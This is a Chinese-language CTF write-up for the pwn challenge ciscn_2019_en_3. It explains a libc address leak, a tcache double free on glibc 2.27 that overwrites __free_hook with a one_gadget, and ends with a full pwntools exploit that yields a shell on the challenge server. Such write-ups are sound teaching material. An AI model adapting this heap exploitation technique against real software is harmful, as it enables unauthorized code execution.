ciscn_2019_en_3 Writeup

原创

Champa9ne 已于 2022-03-05 16:17:36 修改 95 收藏
文章标签： pwn 信息安全
于 2021-05-09 16:03:29 首次发布

前提与思路

> 程序逻辑开始处，有两处输入信息然后立即输出进行确认的交互。经调试，但由于缓冲区长度设置问题，第二处输入与程序`setbuffer+231`的地址在栈中相连。
>
> - 当输入的字符串末的`\x00`被截断时，可以引导程序输出`setbuffer+231`在内存中的地址。
>
> 本题部署于`Ubuntu GLIBC 2.27-3ubuntu1`的环境下。Tcache中的chunk可能可以被double free。使得获得任意区域内存改写能力。
>
> - 当`__hook_free`在内存中的地址被改写为`one_gadget`，执行`free()`相关操作即可返回shell。
>
> one_gadget是一种被设计好的，基于当前`libc.so.6`的ROP。执行后即可获得shell。

泄露并计算远端内存中的libc地址

- 第二处输入点输入B*8后，字符串结尾'\00'被截断。连带输出了`setbuffer+231`在内存中的地址。进入pwngdb使用`vmmap`，查阅当前`libc`在内存中的地址。两者的偏移应该是固定的。
  - 计算得算式应为：`libc_base = set_buffer_231 - 0x81237`
  - 注意内存中libc地址格式一般是高4位为0，低4位也为0。

获得所需gadget

- `__free_hook = libc_base + libc.symbols("__free_hook")`
- 获得one_gadget：`one_gadgets ./libc.so.6`
  - `__free_hook = libc_base + libc.symbols("__free_hook")`

堆的Double Free与UAF

- 申请两个块0、1。
- 释放块0和块0。此时导致bin中块0自己指向自己。
- 申请相同大小的新块3，此时实际上是向块0写入数据。向块0的`bk`区域写入`__free_hook`的地址。
- 申请同样大小的新块4，同样在`bk`写入`__free_hook`。
  - 此时bin中仅有一个chunk,且它的写入点就是`__free_hook`在内存中的地址。
- 申请同样大小的新块5，向内存中的`__free_hook`区域写入`one_gadgets`。
  - 此时执行`free()`相关操作即执行`one_gadgets`。获得shell。

完整exp

```
from pwn import *

context.log_level = "debug"
io = remote("node3.buuoj.cn", 26814)
libc = ELF("./libc.so.6")


def add(size,message):
    io.sendlineafter("Input your choice:",'1')
    io.sendlineafter("Please input the size of story: \n",str(size))
    io.sendlineafter("please inpute the story: \n",message)

def delete(index):
    io.sendlineafter("Input your choice:",'4')
    io.sendlineafter("Please input the index:\n",str(index))


io.sendlineafter("What's your name?\n",'a')
io.sendlineafter("Please input your ID.\n",'BBBBBBBB')
libc_base = u64(io.recvline()[8:-1].ljust(8,'\0')) - 0x81237


__free_hook = libc_base + libc.symbols["__free_hook"]
one_gadgets = libc_base + 0x4f322


add(0x20,'a')
add(0x20,'a')
delete(0)
delete(0)
add(0x20,p64(__free_hook)+'\n')
add(0x20,p64(__free_hook)+'\n')
add(0x20,p64(one_gadgets)+'\n')
delete(1)
io.interactive()
```